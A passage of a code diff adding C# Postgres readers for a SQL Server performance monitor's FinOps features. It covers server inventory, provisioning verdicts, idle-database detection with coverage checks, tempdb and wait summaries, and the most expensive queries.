+    /// 24-hour window (its average CPU is NULL).
+    ///
+    /// <para>Null, not a verdict from zeros: with nothing to average, <c>Evaluate</c> reads 0% CPU and calls
+    /// the server OVER_PROVISIONED — a server that has sent no CPU sample is told to shrink. The Server
+    /// Inventory grid already shows a null status as blank. A server WITH CPU samples gets the same verdict as
+    /// before, except that a logical server's master gets the N/A verdict. Ordinals match the fleet SELECT: 1 avg CPU,
+    /// 4 max CPU, 5 p95 CPU, 6 max workers, 7 current workers, 8 grant waiters, 9 grant timeouts, 10 forced grants,
+    /// 11 grant utilization, 12 engine edition, 13 edition.</para>
+    /// </summary>
+    public static string? FleetProvisioningStatusFor(System.Data.Common.DbDataReader reader)
+    {
+        if (reader.IsDBNull(1)) return null;
+
+        return ProvisioningVerdict.Evaluate(
+            avgCpuPercent: Convert.ToDecimal(reader.GetValue(1)),
+            maxCpuPercent: reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
+            p95CpuPercent: reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5)),
+            maxGrantWaiters: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
+            grantTimeouts: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
+            forcedGrants: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
+            grantUtilizationPercent: reader.IsDBNull(11) ? 0m : Convert.ToDecimal(reader.GetValue(11)),
+            maxWorkers: reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
+            currentWorkers: reader.IsDBNull(7) ? (int?)null : Convert.ToInt32(reader.GetValue(7)),
+            engineEdition: reader.IsDBNull(12) ? null : Convert.ToInt32(reader.GetValue(12)),
+            edition: reader.IsDBNull(13) ? null : reader.GetString(13));
+    }
+
+    /// <summary>
+    /// #1591: the Hardware Note for one inventory row, or null when hardware is present.
+    ///
+    /// <para>PURE so the rule is testable without a store — the codebase's pattern for read-path decisions. Keyed
+    /// on cpu_count AND physical_memory_mb both being absent, because they come from the same guarded
+    /// <c>sys.dm_os_sys_info</c> read in the collector: either that read succeeded and both are populated, or it
+    /// was denied and both are NULL. Requiring both guards against annotating a server over a single odd NULL.</para>
+    ///
+    /// <para>Without this the grid renders the <c>IsDBNull ? 0</c> coalesce as a literal 0, which reads as "this
+    /// server has no CPUs and no memory" rather than "we were not allowed to look".</para>
+    /// </summary>
+    public static string? HardwareNoteFor(bool cpuCountIsNull, bool physicalMemoryIsNull) =>
+        cpuCountIsNull && physicalMemoryIsNull
+            ? "Hardware inventory (CPU, memory, sockets) unavailable - the monitoring login likely lacks VIEW SERVER STATE (VIEW DATABASE STATE on Azure SQL DB) on this server."
+            : null;
+
+    /// <summary>
+    /// Latest collected properties per server joined to the registry — the Server Inventory base rows (metrics
+    /// overlaid per row by the loader). DISTINCT ON keeps each server's newest server_properties row.
+    ///
+    /// <para>Only CONFIGURED servers by default (Web 11): a row stays when <c>is_enabled</c> is true (monitoring
+    /// is running) or a <c>config.config_monitored_servers</c> row exists (a configured but stopped server). A
+    /// removed server is <c>is_enabled = FALSE</c> with no config row (<c>DisableOrphanedServersSql</c>), so it drops
+    /// out of the list and of every count built from it. <c>$1</c> (include_removed) keeps those rows, for a caller
+    /// that asks for the history behind a removed server.</para>
+    /// </summary>
+    public const string ServerInventorySql = @"
+SELECT
+    sp.server_id,
+    COALESCE(s.display_name, s.server_name) AS server_name,
+    sp.edition,
+    sp.product_version,
+    sp.product_level,
+    sp.product_update_level,
+    sp.engine_edition,
+    sp.cpu_count,
+    sp.physical_memory_mb,
+    sp.socket_count,
+    sp.cores_per_socket,
+    sp.is_hadr_enabled,
+    sp.is_clustered,
+    sp.collection_time,
+    sp.sqlserver_start_time,
+    sp.host_os_version,
+    sp.ag_replica_role,
+    s.is_enabled,
+    COALESCE(s.monthly_cost_usd, 0) AS monthly_cost_usd,
+    /* #2359: real collection freshness, which is NOT what sp.collection_time means. server_properties
+       has FrequencyMinutes 0 - collected once on server load - so its timestamp is the last service
+       start, not a heartbeat. Appended LAST so no existing reader ordinal moves. */
+    (SELECT MAX(cl.collection_time) FROM v_collection_log cl WHERE cl.server_id = sp.server_id) AS last_collection
+FROM (
+    SELECT DISTINCT ON (server_id)
+        server_id, edition, product_version, product_level, product_update_level,
+        engine_edition, cpu_count, physical_memory_mb, socket_count, cores_per_socket,
+        is_hadr_enabled, is_clustered, collection_time,
+        sqlserver_start_time, host_os_version, ag_replica_role
+    FROM server_properties
+    ORDER BY server_id, collection_time DESC
+) sp
+JOIN servers s ON s.server_id = sp.server_id
+WHERE $1
+   OR s.is_enabled
+   OR EXISTS (SELECT 1 FROM config.config_monitored_servers c WHERE c.server_id = s.server_id)
+ORDER BY s.is_enabled DESC, server_name";
+
+    public static async Task<List<ServerInventoryDto>> GetServerInventoryAsync(
+        NpgsqlDataSource dataSource, int commandTimeoutSeconds, bool includeRemoved = false,
+        CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(ServerInventorySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = includeRemoved });
+
+        var items = new List<ServerInventoryDto>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var version = reader.IsDBNull(3) ? "" : reader.GetString(3);
+            var level = reader.IsDBNull(4) ? "" : reader.GetString(4);
+            var updateLevel = reader.IsDBNull(5) ? null : reader.GetString(5);
+            var versionDisplay = !string.IsNullOrEmpty(updateLevel)
+                ? $"{version} - {updateLevel}"
+                : $"{version} - {level}";
+
+            items.Add(new ServerInventoryDto(
+                ServerId: reader.GetInt32(0),
+                ServerName: reader.IsDBNull(1) ? "" : reader.GetString(1),
+                Edition: reader.IsDBNull(2) ? "" : reader.GetString(2),
+                ProductVersion: versionDisplay,
+                EngineEdition: reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
+                CpuCount: reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
+                PhysicalMemoryMb: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
+                HardwareUnavailableReason: HardwareNoteFor(reader.IsDBNull(7), reader.IsDBNull(8)),
+                SocketCount: reader.IsDBNull(9) ? null : Convert.ToInt32(reader.GetValue(9)),
+                CoresPerSocket: reader.IsDBNull(10) ? null : Convert.ToInt32(reader.GetValue(10)),
+                IsHadrEnabled: reader.IsDBNull(11) ? null : reader.GetBoolean(11),
+                IsClustered: reader.IsDBNull(12) ? null : reader.GetBoolean(12),
+                /* #2359: the CONFIG SNAPSHOT time, not a freshness heartbeat. */
+                InventoryAsOfUtc: reader.IsDBNull(13) ? null : reader.GetDateTime(13),
+                /* sqlserver_start_time is the server's LOCAL clock — read verbatim. host OS + AG role are the collected guarded values. */
+                SqlServerStartTime: reader.IsDBNull(14) ? null : reader.GetDateTime(14),
+                HostOsVersion: reader.IsDBNull(15) ? "" : reader.GetString(15),
+                AgReplicaRole: reader.IsDBNull(16) ? "Standalone" : reader.GetString(16),
+                IsEnabled: reader.IsDBNull(17) || reader.GetBoolean(17),
+                MonthlyCost: reader.IsDBNull(18) ? 0m : Convert.ToDecimal(reader.GetValue(18)),
+                LastCollectedUtc: reader.IsDBNull(19) ? null : reader.GetDateTime(19)));
+        }
+        return items;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsOptimizationReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsOptimizationReader.cs
new file mode 100644
index 0000000000..4e8f95660e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsOptimizationReader.cs
@@ -0,0 +1,399 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>A database with zero query executions over the window. <see cref="LastExecutionTime"/> is
+/// <c>query_stats.last_execution_time</c>, the monitored server's own wall clock, read verbatim.</summary>
+public sealed record IdleDatabase(string DatabaseName, decimal TotalSizeMb, int FileCount, DateTime? LastExecutionTime);
+
+/// <summary>The idle-database read: whether query stats cover each of the last 7 UTC days (<see cref="Covered"/>), and the idle
+/// databases, which are empty when they do not (an idle claim needs the days to have been watched).</summary>
+public sealed record IdleDatabaseRead(bool Covered, List<IdleDatabase> Rows);
+
+/// <summary>One tempdb pressure metric: the latest value against the window's peak.</summary>
+public sealed record TempdbSummaryMetric(string Metric, decimal CurrentMb, decimal Peak24hMb, string Warning);
+
+/// <summary>Wait time grouped by cost category over the window.</summary>
+public sealed record WaitCategorySummary(
+    string Category, long TotalWaitTimeMs, long WaitingTasks, decimal PctOfTotal, string TopWaitType, long TopWaitTimeMs);
+
+/// <summary>One of the most expensive statements by total CPU over the window.</summary>
+public sealed record ExpensiveQuery(
+    string DatabaseName, long TotalCpuMs, decimal AvgCpuMsPerExec, long TotalReads, decimal AvgReadsPerExec,
+    long Executions, string QueryPreview, string FullQueryText, string? QueryPlanXml, string? QueryHash = null);
+
+/// <summary>
+/// The FinOps Optimization reads: idle databases, the tempdb summary, wait time by category and the most expensive
+/// queries. The viewer and the Darling service read through the same copy. Every method takes the window's lower
+/// bound as a naive-UTC <c>cutoffUtc</c> the caller computed, so the clock is read where the caller reads it.
+/// </summary>
+public static class DarlingFinOpsOptimizationReader
+{
+    /// <summary>Databases with zero query executions over the last N days. $1 server_id, $2 cutoff.</summary>
+    public const string IdleDatabasesSql = $@"
+WITH db_sizes AS (
+    SELECT
+        database_name,
+        SUM(total_size_mb) AS total_size_mb,
+        COUNT(*) AS file_count
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time = (
+        SELECT MAX(collection_time)
+        FROM v_database_size_stats
+        WHERE server_id = $1
+    )
+    GROUP BY database_name
+),
+db_activity AS (
+    SELECT
+        database_name,
+        SUM(delta_execution_count) FILTER (WHERE {TimescaleSupport.IntervalHonestSourceFilter}) AS total_executions,
+        MAX(last_execution_time) AS last_execution
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_execution_count IS NOT NULL
+    GROUP BY database_name
+)
+SELECT
+    ds.database_name,
+    ds.total_size_mb,
+    ds.file_count,
+    a.last_execution
+FROM db_sizes ds
+LEFT JOIN db_activity a ON a.database_name = ds.database_name
+WHERE COALESCE(a.total_executions, 0) = 0
+AND   (a.last_execution IS NULL OR a.last_execution < $2)
+AND   ds.database_name NOT IN ('master', 'model', 'msdb', 'tempdb', 'PerformanceMonitor')
+ORDER BY ds.total_size_mb DESC";
+
+    /// <summary>The number of COMPLETE UTC days (D-7 through D-1, today excluded) that must each hold a query-stats sample before a database is called idle for 7 days.</summary>
+    public const int IdleCoverageDays = 7;
+
+    /// <summary>The first complete UTC day of the idle-coverage window, D-7 at 00:00. Every idle claim (the recommendation row, the Idle Databases grid, the Server Inventory count) shares it.</summary>
+    public static DateTime IdleCoverageStartUtc(DateTime? nowUtc = null) => (nowUtc ?? DateTime.UtcNow).Date.AddDays(-IdleCoverageDays);
+
+    /// <summary>The end of the idle-coverage days: today at 00:00 (exclusive). Today is not required to hold a sample, so just after 00:00 UTC a covered server stays covered.</summary>
+    public static DateTime IdleCoverageEndUtc(DateTime? nowUtc = null) => (nowUtc ?? DateTime.UtcNow).Date;
+
+    /// <summary>
+    /// The coverage rule in one place: the oldest query-stats sample is at or before now - 7 days (so 7 days of history exist, not 6 days
+    /// that happen to touch 7 UTC dates) AND each of the 7 complete UTC days before today holds a sample (so a gap inside the window
+    /// reads as not covered). The inventory SQL (<c>idle_coverage</c>) is the same rule fleet-wide.
+    /// </summary>
+    public static bool IdleCoverageHolds(DateTime? oldestSampleUtc, long completeDaysWithSamples, DateTime? nowUtc = null) =>
+        oldestSampleUtc is DateTime oldest
+        && oldest <= (nowUtc ?? DateTime.UtcNow).AddDays(-IdleCoverageDays)
+        && completeDaysWithSamples >= IdleCoverageDays;
+
+    /// <summary>What the Idle Databases grid says when it is empty: that no database is idle, or (when the query stats do not cover
+    /// the last 7 UTC days) that idle cannot be judged yet. An empty grid after a collection gap must not read as a clean bill.</summary>
+    public static string IdleDatabasesEmptyText(bool hasCoverage) => hasCoverage
+        ? "No idle databases detected"
+        : "Idle databases cannot be judged yet: query stats do not cover each of the last 7 days";
+
+    /// <summary>
+    /// The oldest query-stats sample, and the number of distinct COMPLETE UTC days in [$2, $3) that hold one. The advice text claims
+    /// "no query activity in 7 days", so 7 days must have been watched: the oldest sample at or before now - 7 days (with fewer days of
+    /// history, six days of samples touch seven UTC dates), and a sample on each complete day (after a collection gap the oldest
+    /// sample is old, yet the days since hold none, and every database reads as idle because nothing was watching, not because
+    /// nothing ran). <see cref="IdleCoverageHolds"/> reads both. The days are counted by one <c>EXISTS</c> probe per complete day (a
+    /// <c>generate_series</c> of the day starts D-7 .. D-1), each an index range seek on <c>(server_id, collection_time)</c> that stops at its
+    /// first row, not a <c>COUNT(DISTINCT ...)</c> over 7 days of raw rows (the same answer, #5492). The probe is an <c>EXISTS</c> in the select list,
+    /// not in a <c>WHERE</c>: a <c>WHERE EXISTS</c> is flattened to a semi join, and on a hypertable the planner then chose to read every chunk of the
+    /// server once and filter the days in the join (measured on a test store). The select-list form stays one parameterized index scan per day, with
+    /// the chunks outside that day excluded at run time. The oldest sample is <c>ORDER BY collection_time LIMIT 1</c> rather than <c>MIN</c>, which
+    /// through this view read every row of the server in the store's whole history (an ordered index scan that stops at its first row does not). $1 server_id, $2 D-7 00:00, $3 today 00:00 (naive UTC).
+    /// </summary>
+    public const string IdleCoverageSql = @"
+SELECT (SELECT collection_time FROM v_query_stats WHERE server_id = $1 ORDER BY collection_time LIMIT 1),
+       (SELECT COUNT(*)
+        FROM (SELECT EXISTS (SELECT 1
+                             FROM v_query_stats q
+                             WHERE q.server_id = $1
+                             AND   q.collection_time >= d.day_start
+                             AND   q.collection_time <  d.day_start + INTERVAL '1 day') AS has_sample
+              FROM generate_series(CAST($2 AS timestamp), CAST($3 AS timestamp) - INTERVAL '1 day', INTERVAL '1 day') AS d(day_start)) AS probes
+        WHERE has_sample)";
+
+    /// <summary>True once <see cref="IdleCoverageHolds"/>: 7 days of query-stats history and a sample on each complete UTC day of them.</summary>
+    public static Task<bool> HasIdleCoverageAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default) =>
+        HasIdleCoverageAtAsync(dataSource, serverId, DateTime.UtcNow, commandTimeoutSeconds, cancellationToken);
+
+    /// <summary><see cref="HasIdleCoverageAsync"/> as of <paramref name="now"/> (UTC), so a test can ask just after 00:00.</summary>
+    public static async Task<bool> HasIdleCoverageAtAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime now, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        await using var command = dataSource.CreateCommand(IdleCoverageSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(IdleCoverageStartUtc(now), DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(IdleCoverageEndUtc(now), DateTimeKind.Unspecified) });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken) || reader.IsDBNull(0))
+            return false;
+        var days = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1), System.Globalization.CultureInfo.InvariantCulture);
+        return IdleCoverageHolds(reader.GetDateTime(0), days, now);
+    }
+
+    /// <summary>The idle databases, only when the query stats cover each of the last 7 UTC days; otherwise an uncovered read with no rows.</summary>
+    public static async Task<IdleDatabaseRead> GetIdleDatabaseReadAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        if (!await HasIdleCoverageAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken))
+            return new IdleDatabaseRead(false, new List<IdleDatabase>());
+        return new IdleDatabaseRead(true, await GetIdleDatabasesAsync(dataSource, serverId, cutoffUtc, commandTimeoutSeconds, cancellationToken));
+    }
+
+    public static async Task<List<IdleDatabase>> GetIdleDatabasesAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(IdleDatabasesSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var items = new List<IdleDatabase>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new IdleDatabase(
+                reader.IsDBNull(0) ? "" : reader.GetString(0),
+                reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2)),
+                /* last_execution_time (sys.dm_exec_query_stats) is SERVER-LOCAL in the store, not naive UTC, so it is
+                   read verbatim: no caller may shift it as if it were a collection_time. */
+                reader.IsDBNull(3) ? null : reader.GetDateTime(3)));
+        }
+        return items;
+    }
+
+    /// <summary>tempdb pressure summary: latest and 24h peak values. $1 server_id, $2 cutoff.</summary>
+    public const string TempdbSummarySql = @"
+WITH latest AS (
+    SELECT
+        user_object_reserved_mb,
+        internal_object_reserved_mb,
+        version_store_reserved_mb,
+        total_reserved_mb
+    FROM v_tempdb_stats
+    WHERE server_id = $1
+    ORDER BY collection_time DESC
+    LIMIT 1
+),
+peak AS (
+    SELECT
+        MAX(user_object_reserved_mb) AS max_user_mb,
+        MAX(internal_object_reserved_mb) AS max_internal_mb,
+        MAX(version_store_reserved_mb) AS max_version_store_mb,
+        MAX(total_reserved_mb) AS max_total_mb
+    FROM v_tempdb_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+)
+SELECT 'User Objects', l.user_object_reserved_mb, p.max_user_mb,
+    CASE WHEN p.max_user_mb > 1024 THEN 'High user object usage' ELSE '' END
+FROM latest l CROSS JOIN peak p
+UNION ALL
+SELECT 'Internal Objects', l.internal_object_reserved_mb, p.max_internal_mb,
+    CASE WHEN p.max_internal_mb > 1024 THEN 'High internal object usage (sorts/hashes)' ELSE '' END
+FROM latest l CROSS JOIN peak p
+UNION ALL
+SELECT 'Version Store', l.version_store_reserved_mb, p.max_version_store_mb,
+    CASE WHEN p.max_version_store_mb > 2048 THEN 'Version store pressure — check long-running transactions' ELSE '' END
+FROM latest l CROSS JOIN peak p
+UNION ALL
+SELECT 'Total Reserved', l.total_reserved_mb, p.max_total_mb, ''
+FROM latest l CROSS JOIN peak p";
+
+    public static async Task<List<TempdbSummaryMetric>> GetTempdbSummaryAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(TempdbSummarySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var items = new List<TempdbSummaryMetric>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new TempdbSummaryMetric(
+                reader.IsDBNull(0) ? "" : reader.GetString(0),
+                reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
+                reader.IsDBNull(3) ? "" : reader.GetString(3)));
+        }
+        return items;
+    }
+
+    /// <summary>Wait stats grouped by cost category over the window. A wait stored with and without the trailing
+    /// space the collector trimmed from #4884 on is one wait, with its summed time, when the category's top wait is
+    /// picked: <c>per_spelling</c> sums per stored name, <c>per_wait</c> merges the spellings on
+    /// <c>rtrim(wait_type)</c> (once per group, not per row), and the category is read from the clean name, so both
+    /// spellings always land in the same category. $1 server_id, $2 cutoff.</summary>
+    public const string WaitCategorySummarySql = @"
+WITH per_spelling AS (
+    SELECT
+        wait_type,
+        SUM(delta_wait_time_ms) AS wait_time_ms,
+        SUM(delta_waiting_tasks) AS waiting_tasks
+    FROM v_wait_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   delta_wait_time_ms IS NOT NULL
+    AND   delta_wait_time_ms > 0
+    GROUP BY wait_type
+),
+per_wait AS (
+    SELECT
+        rtrim(wait_type) AS wait_type,
+        SUM(wait_time_ms) AS wait_time_ms,
+        SUM(waiting_tasks) AS waiting_tasks
+    FROM per_spelling
+    GROUP BY rtrim(wait_type)
+),
+categorized AS (
+    SELECT
+        CASE
+            WHEN wait_type IN ('SOS_SCHEDULER_YIELD', 'CXPACKET', 'CXCONSUMER', 'CXSYNC_PORT', 'CXSYNC_CONSUMER') THEN 'CPU'
+            WHEN wait_type ILIKE 'PAGEIOLATCH%'
+            OR   wait_type IN ('WRITELOG', 'IO_COMPLETION', 'ASYNC_IO_COMPLETION') THEN 'Storage'
+            WHEN wait_type IN ('RESOURCE_SEMAPHORE', 'RESOURCE_SEMAPHORE_QUERY_COMPILE', 'CMEMTHREAD') THEN 'Memory'
+            WHEN wait_type = 'ASYNC_NETWORK_IO' THEN 'Network'
+            WHEN wait_type ILIKE 'LCK_M_%' THEN 'Locks'
+            ELSE 'Other'
+        END AS category,
+        wait_type,
+        wait_time_ms,
+        waiting_tasks
+    FROM per_wait
+),
+ranked AS (
+    SELECT
+        *,
+        ROW_NUMBER() OVER (PARTITION BY category ORDER BY wait_time_ms DESC) AS rn
+    FROM categorized
+),
+by_category AS (
+    SELECT
+        category,
+        SUM(wait_time_ms) AS total_wait_time_ms,
+        SUM(waiting_tasks) AS total_waiting_tasks,
+        MAX(CASE WHEN rn = 1 THEN wait_type END) AS top_wait_type,
+        MAX(CASE WHEN rn = 1 THEN wait_time_ms END) AS top_wait_time_ms
+    FROM ranked
+    GROUP BY category
+),
+grand_total AS (
+    SELECT NULLIF(SUM(total_wait_time_ms), 0) AS total
+    FROM by_category
+)
+SELECT
+    bc.category,
+    bc.total_wait_time_ms,
+    bc.total_waiting_tasks,
+    CAST(bc.total_wait_time_ms * 100.0 / gt.total AS DECIMAL(5,1)),
+    bc.top_wait_type,
+    bc.top_wait_time_ms
+FROM by_category bc
+CROSS JOIN grand_total gt
+ORDER BY bc.total_wait_time_ms DESC";
+
+    public static async Task<List<WaitCategorySummary>> GetWaitCategorySummaryAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(WaitCategorySummarySql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+
+        var items = new List<WaitCategorySummary>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new WaitCategorySummary(
+                reader.IsDBNull(0) ? "" : reader.GetString(0),
+                reader.IsDBNull(1) ? 0 : Convert.ToInt64(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
+                reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
+                reader.IsDBNull(4) ? "" : reader.GetString(4),
+                reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5))));
+        }
+        return items;
+    }
+
+    /// <summary>Top-N most expensive queries by total CPU over the window. $1 server_id, $2 cutoff, $3 topN.</summary>
+    public const string ExpensiveQueriesSql = $@"
+SELECT
+    database_name,
+    SUM(delta_worker_time) / 1000.0 AS total_cpu_ms,
+    CAST(SUM(delta_worker_time) / 1000.0 / NULLIF(SUM(delta_execution_count), 0) AS DECIMAL(19,2)) AS avg_cpu_ms,
+    SUM(delta_logical_reads) AS total_reads,
+    CAST(SUM(delta_logical_reads) * 1.0 / NULLIF(SUM(delta_execution_count), 0) AS DECIMAL(19,0)) AS avg_reads,
+    SUM(delta_execution_count) AS executions,
+    LEFT(query_text, 200) AS query_preview,
+    query_text AS full_query_text,
+    MAX(query_plan_xml) AS query_plan_xml,
+    MAX(query_plan_gz) AS query_plan_gz,
+    MAX(query_hash) AS query_hash
+FROM v_query_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   delta_worker_time IS NOT NULL
+AND   delta_worker_time > 0
+AND   {TimescaleSupport.IntervalHonestSourceFilter}
+GROUP BY
+    database_name,
+    sql_handle,
+    query_text
+ORDER BY SUM(delta_worker_time) DESC, database_name, sql_handle, query_text
+LIMIT $3";
+
+    /// <summary>Reads the top-N statements. The caller clamps <paramref name="cutoffUtc"/> to the horizon that still
+    /// retains query text, because no rollup carries per-row text.</summary>
+    public static async Task<List<ExpensiveQuery>> GetExpensiveQueriesAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime cutoffUtc, int topN, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(ExpensiveQueriesSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoffUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
+
+        var items = new List<ExpensiveQuery>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new ExpensiveQuery(
+                reader.IsDBNull(0) ? "" : reader.GetString(0),
+                reader.IsDBNull(1) ? 0 : Convert.ToInt64(reader.GetValue(1)),
+                reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
+                reader.IsDBNull(3) ? 0 : Convert.ToInt64(reader.GetValue(3)),
+                reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
+                reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
+                reader.IsDBNull(6) ? "" : reader.GetString(6),
+                reader.IsDBNull(7) ? "" : reader.GetString(7),
+                /* #2069: plans written since V54 ride as gzip bytes with the text column NULL: text-else-gz. */
+                PayloadDimensions.ResolveContent(
+                    reader.IsDBNull(8) ? null : reader.GetString(8),
+                    reader.IsDBNull(9) ? null : reader.GetFieldValue<byte[]>(9)),
+                reader.IsDBNull(10) ? null : reader.GetString(10)));
+        }
+        return items;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsRecommendationsReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsRecommendationsReader.cs
new file mode 100644
index 0000000000..80fe5bf60c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsRecommendationsReader.cs
@@ -0,0 +1,630 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>
+/// The server's latest collected edition facts for the license audit: edition, product major version, logical CPU count,
+/// Availability Group replica role and the Always On master switch.
+/// </summary>
+public readonly record struct FinOpsEditionFacts(
+    string Edition, int MajorVersion, int CpuCount, string AgReplicaRole, bool IsHadrEnabled);
+
+/// <summary>
+/// The SQL behind the FinOps recommendation checks. Each statement reads already-collected Postgres data; the
+/// viewer and the service share these constants so both run the same text.
+/// </summary>
+public static class DarlingFinOpsRecommendationsReader
+{
+    /// <summary>
+    /// The server's latest collected edition / product version / logical CPU count for the license audit, plus the
+    /// collected AG replica role + Always On master switch that drive the AG-aware branches. $1 server_id.
+    /// </summary>
+    public const string EditionFactsSql = @"
+SELECT
+    edition,
+    product_version,
+    cpu_count,
+    ag_replica_role,
+    is_hadr_enabled
+FROM server_properties
+WHERE server_id = $1
+ORDER BY collection_time DESC
+LIMIT 1";
+
+    /// <summary>7-day P95 of Total Server Memory (MB) + sample count, for the memory right-sizing checks. $1 server_id, $2 cutoff (naive UTC).</summary>
+    public const string MemoryP95Sql = @"
+SELECT
+    PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY total_server_memory_mb) AS p95_mb,
+    COUNT(*) AS sample_count,
+    MIN(collection_time) AS first_sample,
+    MAX(collection_time) AS last_sample,
+    COUNT(total_server_memory_mb) AS window_samples
+FROM v_memory_stats
+WHERE server_id = $1
